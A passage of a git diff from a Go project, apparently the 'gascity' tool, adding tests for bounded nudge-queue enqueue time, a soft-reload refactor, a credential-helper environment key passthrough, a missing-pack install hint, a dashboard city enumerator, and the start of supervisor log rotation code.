+	seedDeadBacklog(t, cityPath, backlog)
+	store := &backlogSlowStore{latency: latency}
+	item := queuedNudge{ID: "nudge-new", Agent: "gascity/deployer", Source: "sling", Message: "Work slung. Check your hook."}
+	start := time.Now()
+	if err := enqueueQueuedNudgeWithStore(cityPath, beads.NudgesStore{Store: store}, item); err != nil {
+		t.Fatalf("enqueue (backlog=%d): %v", backlog, err)
+	}
+	return time.Since(start)
+}
+
+// The foreground `--nudge` enqueue must be bounded regardless of nudge-queue
+// backlog. Current code violates this: it runs O(backlog) serial store ops under
+// the withNudgeQueueState flock with no aggregate deadline.
+func TestSlingNudgeEnqueueBoundedByBacklog(t *testing.T) {
+	const latency = 20 * time.Millisecond
+	small := timeEnqueue(t, 40, latency)
+	big := timeEnqueue(t, 160, latency)
+	t.Logf("enqueue backlog=40 -> %v ; backlog=160 -> %v", small.Round(time.Millisecond), big.Round(time.Millisecond))
+	// After the fix, both are capped by the maintenance budget, so 120 extra
+	// backlog items add ~no foreground time. Current code adds ~120*4*20ms ~= 9.6s.
+	if marginal := big - small; marginal > 2*time.Second {
+		t.Fatalf("foreground enqueue grows with backlog: +120 items added %v (>2s). "+
+			"Bound the withNudgeQueueState maintenance loops.", marginal.Round(time.Millisecond))
+	}
+}
diff --git a/cmd/gc/sling_nudge_budget_test.go b/cmd/gc/sling_nudge_budget_test.go
new file mode 100644
index 0000000000..798a7d12bf
--- /dev/null
+++ b/cmd/gc/sling_nudge_budget_test.go
@@ -0,0 +1,231 @@
+package main
+
+import (
+	"fmt"
+	"sync/atomic"
+	"testing"
+	"time"
+
+	"github.com/gastownhall/gascity/internal/beads"
+)
+
+type budgetSlowNudgeStore struct {
+	beads.Store
+	latency   time.Duration
+	failAfter int64
+	ops       int64
+}
+
+func (s *budgetSlowNudgeStore) tick() error {
+	op := atomic.AddInt64(&s.ops, 1)
+	time.Sleep(s.latency)
+	if s.failAfter > 0 && op > s.failAfter {
+		return fmt.Errorf("slow nudge store operation %d exceeded test budget %d", op, s.failAfter)
+	}
+	return nil
+}
+
+func (s *budgetSlowNudgeStore) List(beads.ListQuery) ([]beads.Bead, error) {
+	if err := s.tick(); err != nil {
+		return nil, err
+	}
+	return []beads.Bead{{
+		ID:       "shadow-open",
+		Type:     nudgeBeadType,
+		Status:   "open",
+		Labels:   []string{nudgeBeadLabel},
+		Metadata: map[string]string{"state": "queued"},
+	}}, nil
+}
+
+func (s *budgetSlowNudgeStore) Create(b beads.Bead) (beads.Bead, error) {
+	if err := s.tick(); err != nil {
+		return beads.Bead{}, err
+	}
+	if b.ID == "" {
+		b.ID = "created-shadow"
+	}
+	b.Status = "open"
+	return b, nil
+}
+
+func (s *budgetSlowNudgeStore) Get(id string) (beads.Bead, error) {
+	if err := s.tick(); err != nil {
+		return beads.Bead{}, err
+	}
+	return beads.Bead{ID: id, Type: nudgeBeadType, Status: "open", Metadata: map[string]string{"state": "queued"}}, nil
+}
+
+func (s *budgetSlowNudgeStore) Close(string) error {
+	return s.tick()
+}
+
+func (s *budgetSlowNudgeStore) SetMetadata(string, string, string) error {
+	return s.tick()
+}
+
+func (s *budgetSlowNudgeStore) SetMetadataBatch(string, map[string]string) error {
+	return s.tick()
+}
+
+func seedNudgeBudgetPreservationBacklog(t *testing.T, cityPath string, reference *nudgeReference, deadCount int) []string {
+	t.Helper()
+	now := time.Now().UTC()
+	ids := make([]string, 0, deadCount+4)
+	if err := withNudgeQueueState(cityPath, func(state *nudgeQueueState) error {
+		for i := 0; i < 2; i++ {
+			id := fmt.Sprintf("nudge-pending-preserve-%d", i)
+			ids = append(ids, id)
+			state.Pending = append(state.Pending, queuedNudge{
+				ID:           id,
+				BeadID:       "bead-" + id,
+				Agent:        "gascity/deployer",
+				Source:       "sling",
+				Message:      "pending supersede tail",
+				Reference:    reference,
+				CreatedAt:    now.Add(-time.Hour),
+				DeliverAfter: now.Add(time.Hour),
+				ExpiresAt:    now.Add(time.Hour),
+			})
+		}
+		for i := 0; i < 2; i++ {
+			id := fmt.Sprintf("nudge-in-flight-preserve-%d", i)
+			ids = append(ids, id)
+			state.InFlight = append(state.InFlight, queuedNudge{
+				ID:           id,
+				BeadID:       "bead-" + id,
+				Agent:        "gascity/deployer",
+				Source:       "sling",
+				Message:      "in-flight supersede tail",
+				Reference:    reference,
+				CreatedAt:    now.Add(-time.Hour),
+				DeliverAfter: now.Add(-time.Minute),
+				ExpiresAt:    now.Add(time.Hour),
+				ClaimedAt:    now.Add(-time.Minute),
+				LeaseUntil:   now.Add(time.Hour),
+			})
+		}
+		for i := 0; i < deadCount; i++ {
+			id := fmt.Sprintf("nudge-dead-preserve-%03d", i)
+			ids = append(ids, id)
+			state.Dead = append(state.Dead, queuedNudge{
+				ID:        id,
+				BeadID:    "bead-" + id,
+				Agent:     "gascity/deployer",
+				Source:    "sling",
+				Message:   "dead backlog",
+				CreatedAt: now.Add(-2 * time.Hour),
+				DeadAt:    now.Add(-2 * time.Hour),
+				LastError: "expired",
+			})
+		}
+		return nil
+	}); err != nil {
+		t.Fatalf("seeding nudge backlog: %v", err)
+	}
+	return ids
+}
+
+func nudgeQueueBucketsByID(t *testing.T, cityPath string) map[string]string {
+	t.Helper()
+	buckets := make(map[string]string)
+	if err := withNudgeQueueState(cityPath, func(state *nudgeQueueState) error {
+		for _, item := range state.Pending {
+			buckets[item.ID] = "pending"
+		}
+		for _, item := range state.InFlight {
+			buckets[item.ID] = "in-flight"
+		}
+		for _, item := range state.Dead {
+			buckets[item.ID] = "dead"
+		}
+		return nil
+	}); err != nil {
+		t.Fatalf("reading nudge queue state: %v", err)
+	}
+	return buckets
+}
+
+// TestSlingNudgeEnqueueBudgetPreservesQueuedItems exercises all three
+// maintenance loops AND the supersede loop at once: a Dead backlog large
+// enough to guarantee the budget cuts in, plus Pending/InFlight items that
+// share the new item's supersession reference, so their "did the budget's
+// early exit correctly leave supersede candidates untouched" behavior is
+// asserted, not just inferred from pruneDeadQueuedNudges alone.
+func TestSlingNudgeEnqueueBudgetPreservesQueuedItems(t *testing.T) {
+	const deadBacklog = 160
+	reference := &nudgeReference{Kind: "bead", ID: "ga-budget-preservation"}
+	cityPath := t.TempDir()
+	seededIDs := seedNudgeBudgetPreservationBacklog(t, cityPath, reference, deadBacklog)
+	store := &budgetSlowNudgeStore{latency: 40 * time.Millisecond, failAfter: 90}
+	item := newQueuedNudgeWithOptions("gascity/deployer", "Work slung. Check your hook.", "sling", time.Now(), queuedNudgeOptions{
+		ID:        "nudge-new-preservation",
+		Reference: reference,
+	})
+
+	start := time.Now()
+	if err := enqueueQueuedNudgeWithStore(cityPath, beads.NudgesStore{Store: store}, item); err != nil {
+		t.Fatalf("enqueueQueuedNudgeWithStore: %v", err)
+	}
+	elapsed := time.Since(start)
+	if elapsed > 5*time.Second {
+		t.Fatalf("enqueue elapsed = %v, want budgeted foreground maintenance under 5s", elapsed.Round(time.Millisecond))
+	}
+	if ops := atomic.LoadInt64(&store.ops); ops >= deadBacklog {
+		t.Fatalf("slow store ops = %d, want fewer than dead backlog %d to prove the maintenance budget cut in", ops, deadBacklog)
+	}
+
+	buckets := nudgeQueueBucketsByID(t, cityPath)
+	if got, want := len(buckets), len(seededIDs)+1; got != want {
+		t.Fatalf("queued item count = %d, want %d; buckets=%v", got, want, buckets)
+	}
+	for _, id := range seededIDs {
+		if bucket := buckets[id]; bucket == "" {
+			t.Fatalf("seeded queued nudge %q vanished after budgeted enqueue; buckets=%v", id, buckets)
+		}
+	}
+	for i := 0; i < 2; i++ {
+		id := fmt.Sprintf("nudge-pending-preserve-%d", i)
+		if bucket := buckets[id]; bucket != "pending" {
+			t.Fatalf("%s bucket = %q, want pending because supersede budget was already exhausted", id, bucket)
+		}
+		id = fmt.Sprintf("nudge-in-flight-preserve-%d", i)
+		if bucket := buckets[id]; bucket != "in-flight" {
+			t.Fatalf("%s bucket = %q, want in-flight because supersede budget was already exhausted", id, bucket)
+		}
+	}
+	if bucket := buckets[item.ID]; bucket != "pending" {
+		t.Fatalf("new queued nudge bucket = %q, want pending", bucket)
+	}
+}
+
+// TestSlingNudgeEnqueueEmptyBacklogFast pins that an empty queue still
+// enqueues near-instantly: none of the three maintenance loops iterate, so
+// the deadline check never fires regardless of nudgeEnqueueMaintenanceBudget.
+func TestSlingNudgeEnqueueEmptyBacklogFast(t *testing.T) {
+	cityPath := t.TempDir()
+	store := &budgetSlowNudgeStore{latency: 40 * time.Millisecond, failAfter: 4}
+	item := newQueuedNudgeWithOptions("gascity/deployer", "Work slung. Check your hook.", "sling", time.Now(), queuedNudgeOptions{
+		ID: "nudge-empty-backlog",
+	})
+
+	start := time.Now()
+	if err := enqueueQueuedNudgeWithStore(cityPath, beads.NudgesStore{Store: store}, item); err != nil {
+		t.Fatalf("enqueueQueuedNudgeWithStore: %v", err)
+	}
+	elapsed := time.Since(start)
+	if elapsed > 500*time.Millisecond {
+		t.Fatalf("empty-backlog enqueue elapsed = %v, want under 500ms", elapsed.Round(time.Millisecond))
+	}
+	if ops := atomic.LoadInt64(&store.ops); ops > 2 {
+		t.Fatalf("slow store ops = %d, want at most backing-bead setup ops for an empty backlog", ops)
+	}
+
+	buckets := nudgeQueueBucketsByID(t, cityPath)
+	if got := buckets[item.ID]; got != "pending" {
+		t.Fatalf("new queued nudge bucket = %q, want pending; buckets=%v", got, buckets)
+	}
+	if got, want := len(buckets), 1; got != want {
+		t.Fatalf("queued item count = %d, want %d; buckets=%v", got, want, buckets)
+	}
+}
diff --git a/cmd/gc/soft_reload.go b/cmd/gc/soft_reload.go
index 10be899fd2..0409c52908 100644
--- a/cmd/gc/soft_reload.go
+++ b/cmd/gc/soft_reload.go
@@ -6,7 +6,6 @@ import (
 	"io"
 	"strings"
 
-	"github.com/gastownhall/gascity/internal/beads"
 	"github.com/gastownhall/gascity/internal/runtime"
 	"github.com/gastownhall/gascity/internal/session"
 )
@@ -78,10 +77,10 @@ func formatSoftReloadFailedSessions(names []string) string {
 // The hash computation uses sessionCoreConfigForHash, the same canonical
 // reconciler drift-hash helper used by live and asleep drift detection.
 //
-// Returns accepted-session, failed-session, stale-drain-cancelation, and
+// Returns accepted-session, failed-session, stale-drain-cancellation, and
 // empty-desired-state diagnostics for the controller reply.
 func acceptConfigDriftAcrossSessions(
-	sessFront *session.InfoStore,
+	sessFront *session.Store,
 	desired map[string]TemplateParams,
 	sessionBeads *sessionBeadSnapshot,
 	sp runtime.Provider,
@@ -89,7 +88,7 @@ func acceptConfigDriftAcrossSessions(
 	stderr io.Writer,
 ) softReloadAcceptanceResult {
 	result := softReloadAcceptanceResult{DesiredEmpty: len(desired) == 0}
-	if sessFront == nil || sessFront.Store().Store == nil {
+	if !sessFront.Backed() {
 		return result
 	}
 	if sessionBeads == nil {
@@ -100,25 +99,25 @@ func acceptConfigDriftAcrossSessions(
 			return result
 		}
 	}
-	open := sessionBeads.Open()
-	result.OpenSessions = len(open)
-	if len(open) == 0 {
+	openInfos := sessionBeads.OpenInfos()
+	result.OpenSessions = len(openInfos)
+	if len(openInfos) == 0 {
 		return result
 	}
 	if len(desired) == 0 {
 		return result
 	}
 
-	for i := range open {
-		session := open[i]
-		if session.Status == "closed" {
+	for i := range openInfos {
+		info := openInfos[i]
+		if info.Closed {
 			continue
 		}
-		name := strings.TrimSpace(session.Metadata["session_name"])
+		name := strings.TrimSpace(info.SessionNameMetadata)
 		if name == "" {
 			continue
 		}
-		storedHash := strings.TrimSpace(session.Metadata["started_config_hash"])
+		storedHash := strings.TrimSpace(info.StartedConfigHash)
 		if storedHash == "" {
 			continue
 		}
@@ -126,12 +125,12 @@ func acceptConfigDriftAcrossSessions(
 		if !ok {
 			continue
 		}
-		agentCfg := sessionCoreConfigForHash(tp, session)
+		agentCfg := sessionCoreConfigForHashInfo(tp, info)
 		currentHash := runtime.CoreFingerprint(agentCfg)
 		if storedHash == currentHash {
 			continue
 		}
-		if err := clearSoftReloadConfigDriftDrainAck(session, sp, dt); err != nil {
+		if err := clearSoftReloadConfigDriftDrainAckInfo(info, sp, dt); err != nil {
 			result.Failed++
 			result.FailedSessions = append(result.FailedSessions, name)
 			fmt.Fprintf(stderr, "soft reload: clearing config-drift drain ack metadata for %s: %v; leaving config hash unchanged\n", name, err) //nolint:errcheck // best-effort stderr
@@ -144,13 +143,13 @@ func acceptConfigDriftAcrossSessions(
 			fmt.Fprintf(stderr, "soft reload: preparing config hash metadata for %s: %v\n", name, err) //nolint:errcheck // best-effort stderr
 			continue
 		}
-		if err := sessFront.ApplyPatch(session.ID, metadata); err != nil {
+		if err := sessFront.ApplyPatch(info.ID, metadata); err != nil {
 			result.Failed++
 			result.FailedSessions = append(result.FailedSessions, name)
 			fmt.Fprintf(stderr, "soft reload: updating config hash metadata for %s: %v\n", name, err) //nolint:errcheck // best-effort stderr
 			continue
 		}
-		if cancelSoftReloadConfigDriftDrain(session, sp, dt) {
+		if cancelSoftReloadConfigDriftDrainInfo(info, sp, dt) {
 			result.CanceledDrains++
 		}
 		result.Updated++
@@ -175,26 +174,26 @@ func softReloadAcceptedHashMetadata(agentCfg runtime.Config, currentHash string)
 	}, nil
 }
 
-func cancelSoftReloadConfigDriftDrain(session beads.Bead, sp runtime.Provider, dt *drainTracker) bool {
+func cancelSoftReloadConfigDriftDrainInfo(info session.Info, sp runtime.Provider, dt *drainTracker) bool {
 	if dt == nil {
 		return false
 	}
-	ds := dt.get(session.ID)
+	ds := dt.get(info.ID)
 	if ds == nil || ds.reason != "config-drift" {
 		return false
 	}
-	return cancelSessionConfigDriftDrain(session, sp, dt)
+	return cancelSessionConfigDriftDrainInfo(info, sp, dt)
 }
 
-func clearSoftReloadConfigDriftDrainAck(session beads.Bead, sp runtime.Provider, dt *drainTracker) error {
+func clearSoftReloadConfigDriftDrainAckInfo(info session.Info, sp runtime.Provider, dt *drainTracker) error {
 	if dt == nil {
 		return nil
 	}
-	ds := dt.get(session.ID)
+	ds := dt.get(info.ID)
 	if ds == nil || ds.reason != "config-drift" || !ds.ackSet {
 		return nil
 	}
-	name := strings.TrimSpace(session.Metadata["session_name"])
+	name := strings.TrimSpace(info.SessionNameMetadata)
 	if err := clearReconcilerDrainAckMetadata(sp, name); err != nil {
 		return err
 	}
diff --git a/cmd/gc/store_target_exec.go b/cmd/gc/store_target_exec.go
index ed99054f3e..8d640474cd 100644
--- a/cmd/gc/store_target_exec.go
+++ b/cmd/gc/store_target_exec.go
@@ -37,8 +37,29 @@ func setExecProjectedBackendEnvEmpty(env map[string]string) {
 	applyBdContributorRoutingOptOut(env)
 }
 
+// execProjectedBackendCopyKeys returns the keys carried when projecting a
+// resolved backend env map onto an exec-provider / city process env. It extends
+// execProjectedBackendEnvKeys with BEADS_DOLT_CREDENTIAL_COMMAND, the hosted
+// beads-gateway credential helper mirrorBeadsDoltEnv derives from
+// GC_DOLT_CRED_CMD.
+//
+// That key is intentionally NOT in projectedDoltEnvKeys: it is a
+// preserve-from-ambient passthrough key (hostedBeadsCredentialPassthroughKeys),
+// not a strip-and-reproject key. Forcing it into projectedDoltEnvKeys would
+// break the mergeRuntimeEnv strip symmetry TestProjectedKeysCoverage pins and
+// collide with preserveHostedBeadsCredentialEnv. But the whitelist COPY paths
+// must still carry the derived value, or a controller that exports only the
+// non-sensitive GC_DOLT_CRED_CMD loses the helper on projected exec/process
+// envs and bd falls back to the root user (gateway Error 1045). The empty-set
+// path (setExecProjectedBackendEnvEmpty) deliberately keeps the original key
+// set so it never blanks an ambient credential command for providers that skip
+// the copy.
+func execProjectedBackendCopyKeys() []string {
+	return append(execProjectedBackendEnvKeys(), "BEADS_DOLT_CREDENTIAL_COMMAND")
+}
+
 func copyExecProjectedBackendEnv(dst, src map[string]string) {
-	for _, key := range execProjectedBackendEnvKeys() {
+	for _, key := range execProjectedBackendCopyKeys() {
 		if value, ok := src[key]; ok {
 			dst[key] = value
 		}
diff --git a/cmd/gc/suggest.go b/cmd/gc/suggest.go
index 5a8509edd8..afddeb20b0 100644
--- a/cmd/gc/suggest.go
+++ b/cmd/gc/suggest.go
@@ -70,15 +70,87 @@ func formatAvailable(label string, names []string) string {
 	return fmt.Sprintf("; available %s: %s%s", label, strings.Join(show, ", "), suffix)
 }
 
+// importBindingOf extracts the pack-import binding from a (possibly
+// rig-qualified) agent target. "rig/gc.run-operator" and "gc.run-operator"
+// both yield "gc"; a bare name ("mayor") or pool instance ("rig/polecat-2")
+// yields "" because it carries no binding.
+func importBindingOf(input string) string {
+	name := input
+	if i := strings.LastIndex(name, "/"); i >= 0 {
+		name = name[i+1:]
+	}
+	if i := strings.Index(name, "."); i > 0 {
+		return name[:i]
+	}
+	return ""
+}
+
+// declaredImportSource returns the authored source for a pack-import binding
+// declared anywhere in the city config — city-scope [imports.*], the
+// [defaults.rig.imports.*] table, or any rig's [rigs.imports.*] — and whether
+// the binding was found. It reads only what the city itself declares, so no
+// pack or role name is hard-coded.
+func declaredImportSource(cfg *config.City, binding string) (string, bool) {
+	if cfg == nil || binding == "" {
+		return "", false
+	}
+	if imp, ok := cfg.Imports[binding]; ok {
+		return imp.Source, true
+	}
+	if imp, ok := cfg.Defaults.Rig.Imports[binding]; ok {
+		return imp.Source, true
+	}
+	if imp, ok := cfg.DefaultRigImports[binding]; ok {
+		return imp.Source, true
+	}
+	for _, r := range cfg.Rigs {
+		if imp, ok := r.Imports[binding]; ok {
+			return imp.Source, true
+		}
+	}
+	return "", false
+}
+
+// uninstalledImportHint returns a remediation hint when a not-found target is
+// qualified by a pack-import binding that the city declares but whose agents
+// are not installed here — the case behind gascity#3832, where a fresh city
+// imports the formulas pack but the roles those formulas route to live in a
+// declared-but-not-yet-installed pack. The fix is to install the declared pack,
+// not to pick a different agent name, so we point at `gc import install`.
+// Returns "" when the binding is unknown (caller falls back to the
+// available-agents list) or when an agent with that binding is already
+// composed (then the miss is a wrong/typo'd name, not a missing pack).
+func uninstalledImportHint(input string, cfg *config.City) string {
+	binding := importBindingOf(input)
+	if binding == "" || cfg == nil {
+		return ""
+	}
+	src, ok := declaredImportSource(cfg, binding)
+	if !ok {
+		return ""
+	}
+	for _, a := range cfg.Agents {
+		if importBindingOf(a.QualifiedName()) == binding {
+			return "" // pack is installed; the agent name itself is wrong
+		}
+	}
+	return fmt.Sprintf("\n  the %q pack is imported (%s) but its agents are not installed here; run `gc import install`", binding, src)
+}
+
 // agentNotFoundMsg returns a user-friendly error string for when an agent
-// name is not found. Includes "did you mean?" and available agents list.
+// name is not found. When the target names a declared-but-uninstalled pack
+// import it surfaces the `gc import install` repair; otherwise it falls back to
+// a "did you mean?" hint and the available-agents list.
 func agentNotFoundMsg(prefix, input string, cfg *config.City) string {
+	base := fmt.Sprintf("%s: agent %q not found in city.toml", prefix, input)
+	if hint := uninstalledImportHint(input, cfg); hint != "" {
+		return base + hint
+	}
 	names := availableAgentNames(cfg)
-	hint := suggestSimilar(input, names)
-	if hint != "" {
-		return fmt.Sprintf("%s: agent %q not found in city.toml%s", prefix, input, hint)
+	if hint := suggestSimilar(input, names); hint != "" {
+		return base + hint
 	}
-	return fmt.Sprintf("%s: agent %q not found in city.toml%s", prefix, input, formatAvailable("agents", names))
+	return base + formatAvailable("agents", names)
 }
 
 // rigNotFoundMsg returns a user-friendly error string for when a rig
diff --git a/cmd/gc/suggest_test.go b/cmd/gc/suggest_test.go
index d82f77b83d..de915657d1 100644
--- a/cmd/gc/suggest_test.go
+++ b/cmd/gc/suggest_test.go
@@ -123,6 +123,70 @@ func TestAgentNotFoundMsg(t *testing.T) {
 	}
 }
 
+func TestImportBindingOf(t *testing.T) {
+	cases := map[string]string{
+		"gc.run-operator":          "gc",
+		"todo-app/gc.run-operator": "gc",
+		"mayor":                    "",
+		"hw/polecat-2":             "",
+		"":                         "",
+		".leading-dot":             "",
+	}
+	for in, want := range cases {
+		if got := importBindingOf(in); got != want {
+			t.Errorf("importBindingOf(%q) = %q, want %q", in, got, want)
+		}
+	}
+}
+
+// TestAgentNotFoundMsgUninstalledImportHint covers gascity#3832: when a
+// not-found target names a declared-but-uninstalled pack import, the message
+// must point at `gc import install` rather than just a "did you mean?" list.
+func TestAgentNotFoundMsgUninstalledImportHint(t *testing.T) {
+	const rolesSrc = "https://github.com/gastownhall/gascity-packs/tree/main/gascity/roles"
+
+	// Declared (as a default rig import) but no agent with that binding is
+	// composed → install hint with the declared source.
+	declared := &config.City{
+		Agents:            []config.Agent{{Name: "mayor"}},
+		DefaultRigImports: map[string]config.Import{"gc": {Source: rolesSrc}},
+	}
+	msg := agentNotFoundMsg("gc sling", "gc.run-operator", declared)
+	if !strings.Contains(msg, "gc import install") {
+		t.Errorf("declared-but-uninstalled should advise install: %q", msg)
+	}
+	if !strings.Contains(msg, rolesSrc) {
+		t.Errorf("install hint should include the declared source: %q", msg)
+	}
+	if strings.Contains(msg, "did you mean") {
+		t.Errorf("install hint should replace the did-you-mean noise: %q", msg)
+	}
+
+	// Same miss, but resolved via a rig-qualified target → still hint.
+	if msg := agentNotFoundMsg("gc sling", "todo-app/gc.run-operator", declared); !strings.Contains(msg, "gc import install") {
+		t.Errorf("rig-qualified miss should advise install: %q", msg)
+	}
+
+	// Declared AND installed (an agent carries the binding) → the miss is a
+	// typo, not a missing pack, so do NOT advise install.
+	installed := &config.City{
+		Agents: []config.Agent{
+			{Name: "mayor"},
+			{Name: "gc.run-operator", Dir: "todo-app"},
+		},
+		Imports: map[string]config.Import{"gc": {Source: rolesSrc}},
+	}
+	if msg := agentNotFoundMsg("gc sling", "todo-app/gc.run-oprator", installed); strings.Contains(msg, "gc import install") {
+		t.Errorf("installed pack + typo'd name should not advise install: %q", msg)
+	}
+
+	// Unknown binding → fall back to the available-agents list (no install hint).
+	unknown := &config.City{Agents: []config.Agent{{Name: "mayor"}}}
+	if msg := agentNotFoundMsg("gc sling", "gc.run-operator", unknown); strings.Contains(msg, "gc import install") {
+		t.Errorf("unknown binding should not advise install: %q", msg)
+	}
+}
+
 func TestRigNotFoundMsg(t *testing.T) {
 	cfg := &config.City{
 		Rigs: []config.Rig{
diff --git a/cmd/gc/supervisor_dashboard.go b/cmd/gc/supervisor_dashboard.go
index ed8c8db34d..f843fd602e 100644
--- a/cmd/gc/supervisor_dashboard.go
+++ b/cmd/gc/supervisor_dashboard.go
@@ -30,6 +30,18 @@ func (d dashboardCityResolver) CityPath(name string) (string, bool) {
 	return "", false
 }
 
+// Cities returns every managed city (name + host root path) so the dashboard
+// plane can eager-warm each city's run-view fold at startup. It maps the
+// supervisor registry's ListCities entries onto the plane's CityRef shape.
+func (d dashboardCityResolver) Cities() []dashboardbff.CityRef {
+	cities := d.resolver.ListCities()
+	refs := make([]dashboardbff.CityRef, 0, len(cities))
+	for _, c := range cities {
+		refs = append(refs, dashboardbff.CityRef{Name: c.Name, Path: c.Path})
+	}
+	return refs
+}
+
 // dashboardEnabled reports whether the supervisor hosts the embedded dashboard.
 // On by default; set GC_SUPERVISOR_DASHBOARD=0 to disable (revert to a
 // typed-API-only supervisor with no static or /api surface).
diff --git a/cmd/gc/supervisor_dashboard_test.go b/cmd/gc/supervisor_dashboard_test.go
index d597f6cf3b..b52e3c50f6 100644
--- a/cmd/gc/supervisor_dashboard_test.go
+++ b/cmd/gc/supervisor_dashboard_test.go
@@ -4,6 +4,7 @@ import (
 	"testing"
 
 	"github.com/gastownhall/gascity/internal/api"
+	"github.com/gastownhall/gascity/internal/api/dashboardbff"
 )
 
 type fakeDashResolver struct{ cities []api.CityInfo }
@@ -81,6 +82,48 @@ func TestRunCwdAllowedRootsFromEnv(t *testing.T) {
 	}
 }
 
+// TestDashboardCityResolverCitiesMapsListCities proves the production resolver's
+// Cities() enumerator — the source the dashboard plane eager-warms from at
+// startup — maps every ListCities entry onto a CityRef (name + host root path),
+// so no served city is missed by the eager warm-up.
+func TestDashboardCityResolverCitiesMapsListCities(t *testing.T) {
+	res := dashboardCityResolver{resolver: fakeDashResolver{cities: []api.CityInfo{
+		{Name: "alpha", Path: "/srv/alpha", Running: true},
+		{Name: "beta", Path: "/srv/beta"},
+	}}}
+
+	got := res.Cities()
+	want := []dashboardbff.CityRef{
+		{Name: "alpha", Path: "/srv/alpha"},
+		{Name: "beta", Path: "/srv/beta"},
+	}
+	if len(got) != len(want) {
+		t.Fatalf("Cities() = %+v, want %+v", got, want)
+	}
+	for i := range want {
+		if got[i] != want[i] {
+			t.Errorf("Cities()[%d] = %+v, want %+v", i, got[i], want[i])
+		}
+	}
+
+	// CityPath still resolves a known city and rejects an unknown one.
+	if p, ok := res.CityPath("beta"); !ok || p != "/srv/beta" {
+		t.Errorf("CityPath(beta) = %q,%v, want /srv/beta,true", p, ok)
+	}
+	if _, ok := res.CityPath("ghost"); ok {
+		t.Error("CityPath(ghost) = true, want false for an unknown city")
+	}
+}
+
+// TestDashboardCityResolverCitiesEmpty proves an empty registry yields an empty
+// (non-nil) slice, so Plane.Start's eager warm-up is a clean no-op.
+func TestDashboardCityResolverCitiesEmpty(t *testing.T) {
+	res := dashboardCityResolver{resolver: fakeDashResolver{}}
+	if got := res.Cities(); len(got) != 0 {
+		t.Errorf("Cities() = %+v, want empty", got)
+	}
+}
+
 func TestDashboardEnabledToggle(t *testing.T) {
 	t.Setenv("GC_SUPERVISOR_DASHBOARD", "0")
 	if dashboardEnabled() {
diff --git a/cmd/gc/supervisor_log_rotation.go b/cmd/gc/supervisor_log_rotation.go
new file mode 100644
index 0000000000..27c1d3a3e3
--- /dev/null
+++ b/cmd/gc/supervisor_log_rotation.go
@@ -0,0 +1,272 @@
+package main
+
+import (
+	"compress/gzip"
+	"fmt"
+	"io"
+	"os"
+	"path/filepath"
+	"sort"
+	"strings"
+	"time"
+)
+
+// Supervisor log rotation tunables. Nothing bounded ~/.gc/supervisor.log:
+// a supervisor that fails the same way on every start crash-loops under
+// its service manager (systemd Restart=always, launchd KeepAlive) and
+// appends identical failure lines through every restart — 645MB in one
+// two-day bind-conflict incident (gastownhall/gascity#3897). Rotation is
+// size-gated at supervisor startup, before the new instance writes
+// anything, which bounds exactly that shape: every relaunch re-runs the
+// check, so the file never exceeds the cap by more than one instance's
+// output. Vars (not consts) so tests can lower the thresholds.
+var (
+	// supervisorLogMaxBytes is the size at or above which a supervisor
+	// start archives the log before appending. Non-positive disables
+	// rotation.
+	supervisorLogMaxBytes int64 = 64 * 1024 * 1024 // 64 MiB
+
+	// supervisorLogKeepArchives is how many compressed archives to keep
+	// next to the active log; the oldest are pruned on rotation.
+	supervisorLogKeepArchives = 3
+
+	// supervisorLogArchiveMaxBytes bounds how much of an oversized log a
+	// single rotation reads into an archive. A pathological log (far past
+	// the rotation cap because rotation was disabled or failing) is
+	// archived only up to this bound; the tail beyond it is dropped with a
+	// warning and the active file is still truncated, because bounding the
+	// log is the point of rotating at all.
+	supervisorLogArchiveMaxBytes int64 = 1 << 30 // 1 GiB
+)
+
+// supervisorLogArchiveTimestampLayout is the compact UTC-pinned timestamp
+// embedded in archive filenames (same layout as the events.jsonl archive
+// convention) so directory listings sort chronologically.
+const supervisorLogArchiveTimestampLayout = "20060102T150405Z"
+
+// acquireSupervisorLockAndRotateLog acquires the supervisor single-instance
+// lock and, while holding it, size-gates the supervisor log. Rotation must
+// only ever run under this lock: two supervisor processes rotating the same
+// log concurrently can interleave the compress/truncate sequence and
+// destroy log content, so the losing process has to give up before touching
+// the log. Rotation failures are warned to warn and never block startup — a
+// supervisor with an oversized log beats no supervisor. Only lock
+// acquisition failure is returned; the caller owns closing the lock.
+func acquireSupervisorLockAndRotateLog(logPath string, now time.Time, warn io.Writer) (*os.File, error) {
+	lock, err := acquireSupervisorLock()
+	if err != nil {
+		return nil, err
+	}
+	if err := maybeRotateSupervisorLog(logPath, now, warn); err != nil {
+		fmt.Fprintf(warn, "gc supervisor: rotating supervisor log: %v\n", err) //nolint:errcheck // best-effort warning
+	}
+	return lock, nil
+}
+
+// maybeRotateSupervisorLog archives the supervisor log when it has reached
+// supervisorLogMaxBytes, prunes archives beyond supervisorLogKeepArchives,
+// and sweeps staging leftovers from crashed rotations. Non-fatal notices
+// (an over-bound tail dropped from the archive) go to warn. A missing log
+// is a no-op; all other failures return an error with context so the
+// caller can surface them.
+//
+// Callers must hold the supervisor single-instance lock (see
+// acquireSupervisorLockAndRotateLog): the compress/truncate sequence is
+// not safe against a concurrent rotation of the same file.
+func maybeRotateSupervisorLog(path string, now time.Time, warn io.Writer) error {
+	if supervisorLogMaxBytes <= 0 {
+		return nil
+	}
+	info, err := os.Stat(path)
+	if os.IsNotExist(err) {
+		return nil
+	}
+	if err != nil {
+		return fmt.Errorf("checking supervisor log %s: %w", path, err)
+	}
+	if info.IsDir() {
+		return fmt.Errorf("supervisor log path %s is a directory", path)
+	}
+	if info.Size() < supervisorLogMaxBytes {
+		return nil
+	}
+	if err := rotateSupervisorLog(path, now, warn); err != nil {
+		return err
+	}
+	if err := pruneSupervisorLogArchives(path, supervisorLogKeepArchives); err != nil {
+		return err
+	}
+	return sweepSupervisorLogStagingFiles(path)
+}
+
+// rotateSupervisorLog compresses the current log contents into a
+// timestamped .gz archive next to the active file and truncates the active
+// file in place. Copy-then-truncate (not rename) is deliberate: service
+// managers hold O_APPEND fds on the log across the supervisor's lifetime
+// (systemd StandardOutput=append:, launchd StandardOutPath), and renaming
+// the active file would divert the running instance's own output into the
+// archive. Truncation keeps the inode, so O_APPEND writers continue at
+// offset 0. The archive is staged under a per-rotation unique name
+// (os.CreateTemp in the log's directory) and moved into place with an
+// atomic os.Rename, so no partially written archive is ever visible under
+// the archive name and a crash mid-copy leaves only a staging file for the
+// next successful rotation to sweep. The copy is bounded at
+// supervisorLogArchiveMaxBytes; a tail beyond the bound is dropped from
+// the archive and reported to warn after the truncate so the notice lands
